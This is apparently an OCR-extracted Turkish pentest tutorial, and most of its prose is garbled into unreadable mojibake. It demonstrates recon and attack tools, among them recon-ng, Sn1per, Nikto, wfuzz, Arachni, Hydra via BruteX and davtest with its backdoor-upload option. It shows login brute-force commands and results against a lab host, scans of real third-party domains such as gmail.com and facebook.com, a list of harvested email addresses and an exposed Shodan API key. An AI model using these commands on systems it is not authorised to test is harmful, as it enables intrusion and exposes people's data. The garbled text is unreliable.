Searching 108 results...

[-]1 Searching in Exalead..

Searching 50 results...
Searching 108 results...
Searching 150 results...

p— —
i
ed e

[+] Emails found:

"@gmail.com

Qyuletv@gmail.com
.yaolulai@gmail.com
Bbl32c2c6c@gmail. com
3cc7c567b10511020429v7c8c5748n@mail.gmail. com
Benthesfoto@gmail.com
BookCharlieBlac@gmail. com
Cynthiatreenstudio@gmail.com
FunkyFlyProjectl@gmail.com
Jennyseomarketing®@l@@gmail. com
Justinjhayden®3@gmail. com




Dnsspider:

JARSNI I N} OP KSRST R2YIAY AcAy &doOR2YI Ayt SNA
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https://github.com/nullsecuritynet/tools/tree/master/scanner/dnsspidexdresinden kopyalayarak
kullanabilirsiniz.

root@kali:-/tools# python dnsspider.py -H
--==[ dnsspider by noptrix@nullsecurity.net ]==--
usage:
dnsspider.py -t <arg> -a <arg> [options]
optional arguments:
-t <type= attack type (@ for dictionary 1 for bruteforce)
-a =domain= subdomain to bruteforce
-1 =wordlist= wordlist, one hostname per line (default: built-in)
-d =nameserver= choose another nameserver (default: your system's)
-1 <ipaddr= source ip address to use (default: your system's)
-p <port> source port to use (default: @ -= first free random port)
-u =protocol= speak via udp or tcp (default: udp)
-¢c =charset= choose charset @ [a-z0-9], 1 [a-z] or 2 [©-9] (default: @)
-m <=maxchar= max chars to bruteforce (default: 2)
-5 =prefix= prefix for bruteforce, e.g. 'www'
-g =postfix= postfix for bruteforce, e.g. 'www'
-0 =5ec> timeout (default: 3)
-V verbose mode - prints every attempt (default: quiet)
-W =Sec= seconds to wait for next request (default: @)
-X <num= number of threads to use (default: 32) - choose more :)
-r =logfile=> write found subdomains to file (default: stdout)
-V print version information
-H Erint this help

Yd £ yPYPY

Python dnsspider.pyt 1 -a kurumdomain.com


https://github.com/nullsecuritynet/tools/tree/master/scanner/dnsspider

Dirh:

Db 6ANJ 686 dz&z3dzA | YFA&PYRI o6dzf dzyt y
RATAYAY @Sel aleTryPy @FNIPEPYP 12yiNRt
G NJ AaSS o6dz al @FFEl Nl odzk F NI 1 aPl Yl

Ydzt £+ YPYP

dirb <url_base> [<wordlist_file(s)>]

| SRST R2YFAY | RNBaEAYA @S 62NREAAGQAYAT A

5AND 3AYIAf ®O2Y I RNBaAYyRS
A @FlLEFNP GS1 (déhgyecBNR O A

root@kali:-# dirb gmail.com

DIRB v2.22
By The Dark Raver

(') FATAL: Invalid URL format: gmail.com/
(Use: "http://host/" or "https://host/" for S5SL)
root@kali:-# dirb https://gmail.com

DIRB wv2.22
By The Dark Raver

START TIME: Wed Feb 14 04:17:56 2018
URL BASE: https://gmail.com/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GEMERATED WORDS: 4612

FTP &F@FFEEEFENF yYy2NYEE oF NIfFNRI
tespit edebilirsiniz.

GNY RATAY @S &
SRSNX® 2§
' YI cef P 1 dz £ I
@ FT NI
odzt dzy 'y O2YY2y dliE(G Rz2ae
LJ SNAOYSRAEAYA
YIydzSt 2fF NI {1 SN



Reconng:

recony 33 KSRSFT R2YIFIAYy KI11PYRF O6Af3IA G2LXFYE | NI oef
kaynd @S A ®eSNRAEA Y2RNff SN I ePaPyRIy G§SNOAK SRAfS
1FrePdt NPT NBISNBS {le@PGftlNPE (2yidll1x f21Faegz2ys
d4S®eSySeA adzyr oAt YSTGSRAND

Recory 3 | NI OPY Py 1 Ff2AY dRiSdz N G2Po (i PNI NI {1 o6 of I (P& 2 N2
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www.blackhillsinfosec.com

[77] Recon modules

[8] Reporting modules
[2] Import modules

[2] Expleoitation modules
[2] Discovery modules

[recon-ng][default] = |

AYRAYEBAQSY &P1 1df tFyPilty 12YdzZif b N} o0F1FEPY

4

add l RRa NBO2NR&a (G2 GUKS RIdGlFolraS k@SNAGIOFYPYL

N

back O9EAGA (GKS OdNNBy(d O2ydSEG KoANI | yOSLA FEtyl
delete  DeletesrecdRd FTNRBY GKS RIFGFolFasS k@SNRGEFEOFYPYRIY |
exit Exits the framework /recoyy 3 RSY P | NJ

load [ 2 Ra aLISOAFASR Y2RdzA S kAt 3IAfA Y2RNEN &NlfS
use [ 2 Ra aLISOATASR Y2RdzA S kAftIAfTA Y2RNEN &Nt Sl
query  Queriestheddt 6 &S Kk GSNRGFOFYPYRE FNF YlF &1 LI NJ

search { S NOKS& I @At o06fS Y2RdzZ Sa kYdzA £ FyPtFoAf AN

set {SG&a Y2RdzZ S 2LJiA2ya kaz2zRNf &4SeSyS{ftSNA RSEA
unset | yasSia Y2RdAZ S 2LJiA2ya k az2RNf &aSeSySifSNR S:
show { K2

64 OF NR2dza FNIYS62N] AdG8Ya k {S8SeSys1t SN
3

workspaces al Yyl 3Sa ¢2NJ] aLl OSa k4l ftPoYl IflyPYyP &l ySiaA



[reconng][default] > show module§ 2 Y dzii dz& f |

a2RNftSNAYAY O0ANI {PaYP

Discovery
discovery/info_disclosure/cache_snoop

discoveryl/info_disclosure/interesting_files

Exploitation
exploitation/injection/command_injector

exploitation/injection/xpath_bruter

import/csv_file

import/list

recon/contactscontacts/mailtester
recon/contactsprofiles/fullcontact
recon/domainscontacts/pgp_search
recon/domainscontacts/whois_pocs
recon/domainscredentials/pwnedlistaccount_creds
recon/domainscredentials/pwnedlist/api_usage
recon/domainscredentials/pwnedligdomain_creds
recon/domainscredentials/pwnedlist/domain_ispwned
recon/domainscredentials/pwnedlist/leak_lookup
recon/domainscredentials/pwnedlist/leaks_dump
recon/domainshosts/brute_hosts
recon/domainshosts/certificate_transparency
recon/domainshosts/google_site_api
recon/domainshosts/google_site_web
recon/domainshosts/hackertarget

recon/domainshosts/netcraft

SNRA 3JI NBOAf AN
0A RA NI



recon/domainshosts/shodan_hostname

recon/repositoriesvulnerabilities/gists_search

recon/repositoriesvulnerabilities/github_dorks
Reporting

reporting/csv

reporting/html

reporting/json

reporting/list

reporting/proxifier

reporting/pushpin

reporting/xIsx

reporting/xml

41 ftPOYLF@&LF O0FO0fFNJSY 1 yOStA1fS 06ANI 62N aLl OS 2f dzo
[reconng][default] > workspaces adtest

{2YyN} aPYRI K&SR&EIAMR2YFAYAYAT A

[reconng][usell > add domains facebook.com

[reconng][usel]l > show domains

+ .
| rowid| domain | module |

+ .

|1 | facebook.com | user_defined |
+ .

TE1 1 y0S KSRST R2YFIAY KIF{11PYRIFI K2adflFNP odz YI] A
[reconrng][usel] > load netcraft
[recornrng][usel[netcraft] > show options

Name Current Value Required Description
SOURCHefault yes source of input (see 'show info' for details)

[reconng][usef[netcraft] > showinfol 2 Ydzi dz2 € | {1 2Ydzidzy yS &l LWIPEPYP 3
Name: Netcraft Hosthame Enumerator
Path: modules/recon/domainkosts/netcraft.py
Author: thrapt (thrapt@gmail.com)

Description:



Harvests hosts from Netcraft.com. Updates the 'hosts' table with the results.

[reconng][usel[netcraft] > run

[*] URL:http://searchdns.netcraft.com/?{restriction": 'site+ends+with', 'host': 'facebook.com'}
[*] [host] zhtw.facebook.com (<blank>)

[*] [host] www.facebook.com (<blank>)

[*] [host] m.facebook.com (<blank>)

[*] [host] apps.facebook.com (<blank>)

[*] [host] swse.facebook.com (<blank>)

[*] [host] wwww.facebook.com (<blank>)
[*] [host] static.ak.facebook.com (<blank>)
[*] [host] pl-pl.facebook.com (<blank>)

[*] [host] pt-br.facebook.com (<blank>)

[*] [host] graph.facebook.com (<blank>)

[*] [host] en-gb.facebook.om (<blank>)

[*] [host] da-dk.facebook.com (<blank>)

[*] [host] Im.facebook.com (<blank>)

[*] [host] it-it.facebook.com (<blank>)

[*] [host] fr-fr.facebook.com (<blank>)

[*] [host] staticxx.facebook.com (<blank>)
[*] [host] origamijp.facebook.com (<blank>)
[*] [host] de-de.facebook.com (<blank>)

[*] [host] |.facebook.com (<blank>)

[*] [host] es-es.facebook.com (<blank>)

[*] Next page available! Requesting again...
[*] Sleeping to Avoid Loetaut...

[*] URL: http://searchdns.netcraft.com/?{restriction": 'sitends+with’, 'host": ‘facebook.com’, 'last": "origamijp.facebook.com’, ‘from": '21'}
[*] [host] ja-jp.facebook.com (<blank>)

[*] [host] ww.facebook.com (<blank>)

[*] [host] business.facebook.com (<blank>)
[*] [host] free.facebook.com (<blank>)

[*] [host] beta.facebook.com (<blank>)

[*] [host] esla.facebook.com (<blank>)

[*] [host] touch.facebook.com (<blank>)

[*] [host] mbasic.facebook.com (<blank>)



[*] [host] pl.facebook.com (<blank>)

[*] [host] web.facebook.com (<blank>)

[*] [host] developer.facebok.com (<blank>)
[*] [host] ar-ar.facebook.com (<blank>)

[*] [host] developers.facebook.com (<blank>)
[*] [host] ru-ru.facebook.com (<blank>)

[*] [host] mobile.facebook.com (<blank>)

[*] [host] nb.facebook.com (<blank>)

[*] [host] h.facebook.com (<blank>)

[*] [host] pt-pt.facebook.com (<blank>)

[*] [host] api.facebook.com (<blank>)

[*] [host] ca-es.facebook.com (<blank>)

[*] Next page available! Requesting again...
[*] Sleeping to Avoid Loetwut...

[*] URL: http://searchdns.netcraft.com/?{restriction"ite+ends+with’, 'host": ‘facebook.com’, 'last": ‘api.facebook.com’, ‘from". '41"}
[*] [host] el-gr.facebook.com (<blank>)

[*] [host] postmaster.facebook.com (<blank>)
[*] [host] nI-nl.facebook.com (<blank>)

[*] [host] facebook.facebook.com (<blank>)
[*] [host] hr-hr.facebook.com (<blank>)

[*] [host] nb-no.facebook.com (<blank>)

[*] [host] zh-hk.facebook.com (<blank>)

[*] [host] th-th.facebook.com (<blank>)

[*] [host] hu-hu.facebook.com (<blank>)

[*] [host] elkjopnordic.facebook.com (<blank>)
[*] [host] O0.facebook.com (<blank>)

[*] [host] lji.facebook.com (<blank>)

[*] [host] de.facebook.com (<blank>)

[*] [host] id-id.facebook.com (<blank>)

[*] [host] vi-vn.facebook.com (<blank>)

[*] [host] tr-tr.facebook.com (<blank>)

[*] [host] chat.facebook.com (<blapf

[*] [host] connect.facebook.com (<blank>)

[*] [host] www.new.facebook.com (<blank>)
[*] [host] in.facebook.com (<blank>)

[*] Next page available! Requesting again...

[*] Sleeping to Avoid Loetuut...



[*] URL: http://searchdns.netcraft.com/?{restrictin'site+ends+with', 'host": 'facebook.com’, 'last": 'elkjopnordic.facebook.com’, ‘from":
617}

[*] [host] www.graph.facebook.com (<blank>)
[*] [host] blog.facebook.com (<blank>)
[*] [host] code.facebook.com (<blank>)
[*] [host] ro-ro.facebook.com (<blani>

[*] [host] m2.facebook.com (<blank>)

[*] 65 total (65 new) hosts found.
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Account Overview

APl Key jJE909DQWDOMSLp3FtAROMOIilszcUCKOf

Reset AP| Key

't LYl BBRAGEY a2y Nl |0l EPRIFTA (12Ydzidz {dzf € FyF N |
[recontng][usel[shodan_net] > keys add shodan_api jJE909DQwWDOM5Lp3FtAROMOIilszcUCKOf

{K26 RIFIAKO2INR 12Ydzidz AftS GNY ol tPOYFElNPYPIPY
kategoriA ceAf/2 ¢ f 1 | GESIN2INRI 1+ R G Pt F NP 3|l NBOATt ANBRAYAT ©
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reconfcompanies-contacts/jigsaw/search_contacts
reconfcontacts-profiles/fullcontact
reconfdomains-contacts/pgp_search
recon/domains-contacts/whois_pocs
reconfdomains-domains/brute_suffix
recon/domains-hosts/netcraft
reconfdomains-hosts/shodan_hostname
recon/domains-hosts/vpnhunter
recon/fhosts-hosts/freegeoip
recon/hosts-hosts/ipinfodb
recon/hosts-hosts/resolve
reconfhosts-hosts/reverse_resolve
reconf/hosts-portsy/shodan_ip
recon/locations-locations/fgeocode
recon/locations-locations/reverse_geoc
recon/netblocks-hosts/shodan_net
reconfprofiles-profiles /namechk

Companies
Netblocks
Locations
Vulnerabilities
Ports

Hosts
Contacts
Credentials
Leaks
Pushpins
Profiles
Repositories

4L fPOYLFELNPYPI Py a2ydzOdzydz Oagsy KiGYfZ EYf @& F2NY

load html
show options

[recon-ng][soder][html
[recon-ng][soder][html

>
>

Current Value Required Description

CREATOR creator name for the report footer
CUSTOMER y customer name for the report header
FILENAME /root/.recon-ng/workspaces/soder/results.html path and filename for report output

SANITIZE True mask sensitive data in the report

[recon-ng][soder][html] > set CREATOR soder
CREATOR => soder
[recon-ng][soder][html] > set CUSTOMER facebook
CUSTOMER => facebook
[recon-ng][soder][html] > run
Report generated at '/root/.recon-ng/workspaces/soder/results.html'.
[recon-ng][soder][html] >




Snlper:

{YALISN KSRSTRIRDWVIHAAAW KSHIRISPYSGYS1 Yl OPef kngdedzt f I y P
KSNI AAGSRAEAYAT O0Af3AA AcAYy @8NP @8NP Y2RNf 0 dzZ dz
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Whois, DNS,pimdA 6 A GSYSt (I &Pifl NE

D223tS KIFIO1Ay3 &l ViePY A SbB8dnaiMeNENI LD 23 & NAYUITSWNAR el f P
$S0 dz223dzZ I YIFEFNPYRIFE @S KSRE®PLt aSSAKRE SNEFREG T ¢
1dz83S G al tRIPINPREPS (RiFI0AF a1 Y NNY SeiS2 YeelAf{Po2vill Nd§ &aRReS
G2N] AL OS 2f dz0 G dzNHzLJs GNY &2ydzeef F NP NI LER2NI &l Yl 3
Ydzt £ | YPYPY

Yt ARS @I NBlFI&Ptly 2t NI 3St YSYS{ GBRPNIDNIDA i K gzB
el ft POGPNIPE I 0Af AND

YFfA RS (22t&8 RA@S O0ANJ {fl &I NJ 2fdzo{dzNHzLJ &y A LISNJ |

root@Kkali:~/tools/snlper# git clonenttps://github.com/1N3/Snlper.qgit

sniper <hedef domainRSYSYAT @SGSNIAD® . ANJ 2] O0AfIAGA 3IASGEAN

root@kali: # ./sniper gmail.com
/ A
7 / NS Y4 NS /
( Y S S Yy
/ R A F - A SS
s

RUNNING NSLOOKUP

Server: 192.168.1.1
Address: 192.168.1.1#53

Mon-authoritative answer:
MName : gmail.com
Address: 216.58.212.37

gmail.com has address 216.58.212.37

gmail.com has IPv6 address 2a08:1450:4017:800::2005

gmail.com mail is handled by 40 alt4.gmail-smtp-in.l.google.com.
gmail.com mail is handled by 1® altl.gmail-smtp-in.l.google.com.
gmail.com mail is handled by 20 alt2.gmail-smtp-in.l.google.com.
gmail.com mail is handled by 38 alt3.gmail-smtp-in.Ll.google.com.
gmail.com mail is handled by 5 gmail-smtp-in.l.google.com.

CHECKING 05 FINGERPRINT

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o@o.nu, ofir@sys-security.com, meder@ocBo.nu

[+] Target is gmail.com
[+]1 Loading modules.

¢CFNFYFEYPY &d2ydzyRF NIYLRNI AdZdA@2NEIl yPI
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https://github.com/1N3/Sn1per.git

Nikto:
bA{li2

I N} OPX $S06 dz23dzZ I YIfl NPYRLI

2 f Rdz] cel

bAlidz2

oFaAd NONBGaAl X Pl 1Feyl]

I NI OPYPYy 11 S8SttAl1fSNRY

SSL ve HIP proxy desteklemektedir.

L2 3dd kYT

| S RSNJ 6Aft IAAAYRSY &1 PtPY GAfIAAAYA
1t GR2YFAY

Bl FA&S

6dzt dzy by T I |
ANGSYE Al | NI

TAE

& dzy dzOdza dzy dzy 3INyYy OSf 2f dzld 2f YI RPEPYP (S

OAt AAAAYAZ 1TtlFal NJOATtIAAAYA

I+

oAt IAAAYA digkedr h{

Tarama sonucundext, XM, HTML, NBE @SW 2 N | 4§ PY R |

9y ol aArd

1dzt t  yPYPT

nikto -h <hedef site veya ip>

{P1 1dzf £ FyPtly LI NFYSGNBEtSNRYS

Jnikto -I

-h
-nolookup
-list-plugins
-nossl

-ssl

-Tuning+

12 Ydzidzeft

hedefsite$ e I Tt

DNS lookup yapma

Pluginleri listele

SSL kullanma

SSL kullanmaya zorla

¢

O © 00 N o 0o A W N PP

o))

(op

NI YI el NI I NP

Interesting File / Seen in logs
Misconfiguration / Default File
Information Disclosure

Injection (XSS/Script/HTML)
Remote File Retrievdhside Web Root
Denial of Service

Remote File Retrieveberver Wide
Command Execution / Remote Shell
SQL jection

File Upload

Authentication Bypass

Software Identification

5.
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¢ Remote Source Inclusion
d WebService
e Administrative Console

X  Reverse Tuning Options (i.e., include all except specified)

-update CIRT.neRSY @SNR Gl ol yPyP @S LX dAAyt SNA 3INyY

-useproxy proxy kullan

-Format GF NI YIFYPY @PlUP F2NXIGP

root@kali:~# nikto -h soder.com.tr
- Nikto v2.1.6

+ Target IP: 104.27.182.26

+ Target Hostname: soder.com.tr

+ Target Port: 80

+ Start Time: 2018-02-14 04:58:08 (GMT-5)

+ Server: cloudflare

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'cf-ray' found, with contents: 3ecf2acfe6349bf3-AMS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

¢dzyAy3d LI NI YSGUONBt SNA&tS GFNryYlFeélr RFEKF RF
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Wfuzz:

Wfuzzl N OPTX KSRST R2Y!I A)/S A G 6So dzé 3dzf I YI £ | NPY I

I f GPYRF odzf dzyly RATAYS R2&aél @S FT2NXY{FNP | SyRA &
el ft POPNY ¢SalLAlG 2t Ydz 2f€IRAIEENEG T 2NNdzMINY 1 deBt R 33096

OANI I N} el PNX ¢ NI YIFYPYy &2ydzef  NPYyP NByl1fSNIS 31 N

{Pl ldzAk €t FyPtly LI NIYSGINBEtSNB o6F1FfPYZ

-C : tarama sonucunu renklendirir

-v Y OSNb2aS aSeSySeiayir SG1Ayft SoiANRKNI

-p addr cproxykd £ I YPYPYP SG1AYE SOGANAND C2NX¥IGP
¢CeLIS aSeSYS{EtSNAR {h/Y{nZ{h/Y{p

-l Y 1 ¢¢t 19!5 YSGK2Rdzydz 1dzt £ y PN

-follow Y 1 ¢¢t NBRANBOGAZ2YEI NP GF1ALI SRSNW

-Z Y ¢FENFYFEOo{OFLy0d Y2RS 066l €t yiGP KFGFTEF N
-z payload Y LIeft2FrR GFyPYflIaP Aceiy {dzZ £ yPfi PN
-b cookie Y A&a0S] ONBldzSado Aeiy O221AS {dzZtly®P
-d postdata Y LIad REFEGF 1dz £ FyPN 61 NYY BARTIC! %30
-H headers Y KSFRSNJ €FNP {1dzf £ yPNI

(0}

| NYYbl 230Y666dYRAaAGSPO02YZ/ 221 ASYARIM

--basic/ntim/digest auth : "user:pass"” veya "FUZZ:FUZZ" veya "doYR&l@2Z:FUZZ" olarak
1dzft € ' yPf PNJ

~-he/hi/lhw/hh N[N+ Y 0SSt tA 12RRI RIySy &lyPGftl NP IATfSN®
-sc/sl/lswishN[NJ[+ Y o0SfttA 12RRI RIySy &lFyPifl NP 3l adSNA
-filter <filter> Y _FYyPUGfFNP FAEGNBESNY OIXfIgIKKlIYRI2N

“Croot@kali:-# wfuzz

Warning: Pycurl is not compiled against Openssl. wWfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************

* Wfuzz 2.2.3 - The Web Fuzzer
«

* Version up to l.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com)

*

* Version 1.4d to 2.2.3 coded by:
+ Xavier Mendez (xmendez@edge-security.com)

Usage: wfuzz [options] -z payload,params <url>

FUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload.
FUZZ{baseline value} FUZZ will be replaced by baseline value. It will be the first request performed and could be used as a base for filtering

Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c¢ -z range,1-10 --hc=BBB http://www.site.com/FUzZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ

Type wfuzz -h for further information or --help for advanced usage.

Ydzt £+ YPYP

wfuzz.py [options]-z payload,params <url>



| SNJ LI 8f 2F R AceAy Af IAEA || yloadwar weFUIZSRUER2Z 8282 | dzf f
VS.

' EPRITA 12Ydzi MpHOMcy PMpHPMOpP 6S0 &dzy dzOdza dzy R

wfuzz-c-z file,' /usr/share/wordlists/wfuzz/ general/common.txt'-v --hc 404
http://192.168.152.135/FUZZ

¢SALR G S htpNw®2. 158 1RMZ85dhpMyAdminF 2 NXY dzy | { dzt € I yPOP F RP | |
2t NF{ RI 62NREAZGAYAT RS o6dd dzyly O2YY2y Ll 83 oiEG
ISGANBOS] O0ANI &1 TEN] FGFEP AcAy I 6FEPRITA 12VYdzid

wfuzz-c-z list,adminroot -z file,' /usr/share/wfuzz/wordlist/others/common_pass.txt -v ¢sc 200
b "pma_username=FUZZ&pma_password=FUZ2%)://192.168.152.135/phpMyAdmin/



http://192.168.152.135/FUZZ
http://192.168.152.135/phpMyAdmin/
http://192.168.152.135/phpMyAdmin/

Arachni:

Arachnil N} OPX &a®P i

NONBGAAT O0AN &1 Pt

lyEfATAYRS 1dA t I yP
I [

=

aGA dd YFYEFNP GFNYFPYREY { dzf f
PYRPNX ! N} OKYyA | N} OPZ A @SNRa.
Ly

I AA L

Ff RPEP &FyPOtl N &l AaAYRS 1SYRA 1SYRAYS | ENBYYS
I N} OKYA N OPefl IoFE€PRFETA GNY TFFA&SGHESNI AcAy

arachni--checkslist | grep [*]
[*] session_fixation:

[*] os_cmd_injection_tinmg:
[*] unvalidated_redirect_dom:
[*] trainer:

[*] Idap_injection:

[*] code_injection_php_input_wrapper:
[*] xss_dom_script_context:
[*] xss_event:

[*] rfi:

[*] xss_dom:

[*] xpath_injection:

[*] os_cmd_injection:

[*] code_injection:

[*] xss_tag:

[*] sql_injection_differential:
[*] sql_injection:

[*] code_injection_timing:

[*] xss_script_context:

[*] sql_injection_timing:

[*] xss_path:

[*] file_inclusion:

[*] unvalidated_redirect:

[*¥] source_code_disclosure:
[*] path_traversal:

[*] xss:

[*] csrf:

[*] no_sql_injection:

[*] xxe:

[*] response_splitting:

[*] no_sql_injection_differential:

[*] interesting_responses:



[*] htaccess_limit:

[*] insecure_cross_domain_policy_access:
[*] insecure_client_access_policy:

[*] localstart_asp:

[*] backup_files:

[*] http_put:

[*] common_files:

[*] credit_card:

[*] insecure_cors_policy:

Checks the host for a wildcard ("*") “Acc€smtrotAllow-Origin® header.
[*] hsts:

[*] password_autocomplete:

[*] unencrypted_password_forms:

[*] form_upload:

[*] cvs_svn_users:

[*] emails.

[*] x_frame_options:

[*] insecure_cookies:

[*] captcha:

[*] private_ip:

[*] ssn:

[*¥] cookie_set_for_parent_domain:

[*] http_only_cookies:

[*] html_objects:

[*] mixed_resource:

[*] backup_directories:

[*] allowed_methods:

[*] origin_spoof_access_restriction_bypass:
[*] directory_listing:

[*] common_directories:

[*] insecure_cross_domain_policy_headers:
[*] xst:

[*] common_admin_interfaces:

[*] webdav:

[*] backdoors:



Ydzt £+ YPYP

arachni <hedef site veya hedef IP> parametre

arachnihttp://192.168.152.13% 2 Ydzlidz {1 dzf t I y Pt RPEPYRI GNY T FFFA&Si

~

Jarachnihttp://192.168.152.135-checks xss* Edaa AfS AftIAEA GNY {12Yy0NR

Jarachni http://192.168.152.135 --checks=*backup_filesxss G At S KI NR o dzidzZ dz

Jarachnihttp://192.168.152.135-http-proxy ADDRESS:PORINR E& 1 dzf f I y Pf PN

Jarachni-checkslist] 2 Ydzidz2af+ T FFFA&Sd Y2RNftSNAYAYy RSGlF&tl

[*] session_fixation:

Name: Session fixation
Description:
Checks whether or not the session cookie can be set to an arbitrary value.

Severity: High

Elements: form, link, link_template

Author: Tasos "Zapotek" Laskos <tasos.laskos@araciaminer.com>
Version: 0.1.2

Path: /pentest/vulnerability-analysis/arachni/components/checks/active/session_fixation.rb
AYRA MPpHDPMcy PMpHOMOop Lt QE4AYRS Eaad Aceiy GF NI GGPN

arachi http://192.168.152.135--checks xss*

Relevant issues:

[+] Cross-Site Scripting (XSS) in link input 'template' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS) in script context in link input 'param1' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS5) in script context in link input 'template' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS) in HTML tag in link input 'param2' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS) in HTML tag in link input 'paraml' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS5) in HTML tag in link input 'topicparent' using GET at the following pages:
* http://192.168.152.135/twiki/bin/edit/Main/Set-cookieTamperd9429954-1075-488a-815a-0461ed7c2775
* http://192.168.152.135/twiki/bin/edit/Main/73465124114398113180wasporg

Cross-Site Scripting (XSS) in HTML tag in link input 'page' using GET at the following pages:
* http://192.168.152.135/mutillidae/
* http://192.168.152.135/mutillidae/index.php

Report saved at: /pentest/vulnerability-analysis/arachni/bin/192.168.152.135 2017-02-02 19 36 11 +0300.afr [0.09MB]
Audited 94 page snapshots.

Duration: 00:26:53

Processed 12411/12445 HTTP requests.
- B.724 requests/second.

Processed 1320/1389 browser jobs.
- 6.247 second/job.

Currently auditing http://192.168.152.135/twiki/bin/search/Main/?search=1&scope=text&ignorecase=on
Burst response time sum 102.252 seconds

Burst response count 106

Burst average response time 8.965 seconds

Burst average 2.609 requests/second



http://192.168.152.135/
http://192.168.152.135/
http://192.168.152.135/
http://192.168.152.135/
http://192.168.152.135/

BruteX:

NHzi SE F N} OPs &l RSOS KSRST R2YIAYy KIF{11PYRI &F RS
ATAY AceAy KSRST R2YFAYS aP2IWhiARaodiyl NIANDERL LIOSIRY
Pl LERNIfFNPE aSNIAAtSNASEI Rya oAf3IAAAAYA @S 06dz &
SNIBA&E SNIS AftIAETA (dAftlyPOP IRP @S O0AFNBE SNA 3IS
f RPNP&P | N OPYP o0AfYSyYyAT S 3ASNB| (FfYlLalOFr{dPNX

- ax -

QX

a
Ydzt £ + Y PYP
ONHzGi SE fAL) F RNB&AA @S of 2¢€dzh

M®pHDPMCcyYy DMpHPMop ALIQAAYS &F LWGPEPYPT GFNFYFREF 3
ASNIDA AT SNB oNMHziS T2NDOS tdzpitktimbkiedirPLJE  dzf € I yYPOP |

T —
-d

root@soder: /pentest/exploitation/brutex# ./brutex 192.168.152.135

FHEHR SRR RS Running Port Scan #HHHEEAEEHIEH R

Starting Nmap 7.40SVN ( https://nmap.org ) at 2017-01-13 20:43 +03
Nmap scan report for 192.168.152.135
Host is up (0.0094s latency).

Not shown: 11 closed ports

some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE

21/tcp open ftp

22 [tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open wvnc

6667/tcp open i

MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 15.82 seconds
HAMHABHRA AR IR ERACHABHRRACAAAAR. RUNNANG Brute Force HUMiisuRiutaiitnantiianis

+ == == rt 21 opened... running tes o
Hydra v8.4-dev (c) 2016 by van Hau<er}THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2817-01-13 20:44:12
[DATA] max 1 task per 1 server, overall 1 tasks, 38 login tries, ~30 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.152.135 login: anonymous password: anonymous
[21][ftp] host: 192.168.152.135 login: ftp password: fip
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http //www the.org/thc-hydra) finished at 2017-81-13 20:44:50
ed. running tes a
Hydra v8.4-dev (c) 2016 by van Hau<er/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-13 20:44:50
[DATA] max 1 task per 1 server, overall 1 tasks, 1496 login tries (1:34/p:44), ~1496 tries per task




Davtest:
5 dGSad NI OPYyP FytlaYFRFEY | yoOS S(‘)I?I@QPY yS 2fR
Yy 1

2 SoRIFPGS KOGGLI LINPG212ftN NI SNAYRS & dzy dzOdz NT SN
ddzydzOdz 11T Sttt AEARANWD
Apaches S0 & dzy dzOdzR | odleéthl 1TFHLIEP 2€F NI {1 38t Y8
LL{ c®n a42yN} &P AoeAy o0dz | TSEtEA] OFNBRI&PEIY 2fF NI
5|®GSéG I N} OPS 6SoRIQ® |1 SttAEARA | Pl 2f L yir 6506 & dzy
R2a&l t NP 1FodZ SRALI SGYSRAEAT SES R2aéftl NPYP GE
RSEASGANBNB|IZ dd F{dGFy 12R ocel ft POGPNYIEP GSaid SRSN
Ydzt £+ YPYP

davtest-url <url adresi>
6 EPRIFTA 12Ydziifl KSRST adzydzOdzRI2 | &3 NG @ QPO Alf oBRAIE
SRSOSeAl o

root@kali:~# davtest
ERROR: Missing -url
Jusr/binsdavtest -url <url= [options]

-auth+ Authorization (user:password)

-cleanup delete everything uploaded when done

-directory+ postfix portion of directory to create

-debug+ DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)

-move PUT text files then MOVE to executable

-nocreate don't create a directory

-quiet only print out summary

-rand+ use this instead of a random string for filenames

-sendbd+ send backdoors:

auto - for any succeeded test
ext - extension matching file name(s) in backdoors/ dir

-uploadfile+ upload this file (requires -uploadloc)

-uploadloc+ upload file to this location/name (requires -uploadfile)

-url+ url of DAV location
Example: /fusr/bin/davtest -url http://localhost/davdir

davtest-url http://192.168.152.135

Testing DAV connection

OPEN SUCCEED: http:// 192.168.152.135

NOTE Random string for this session: BOyG9nhdFS8gox

*% *% *% * k% k% *k*k *

Creating directory

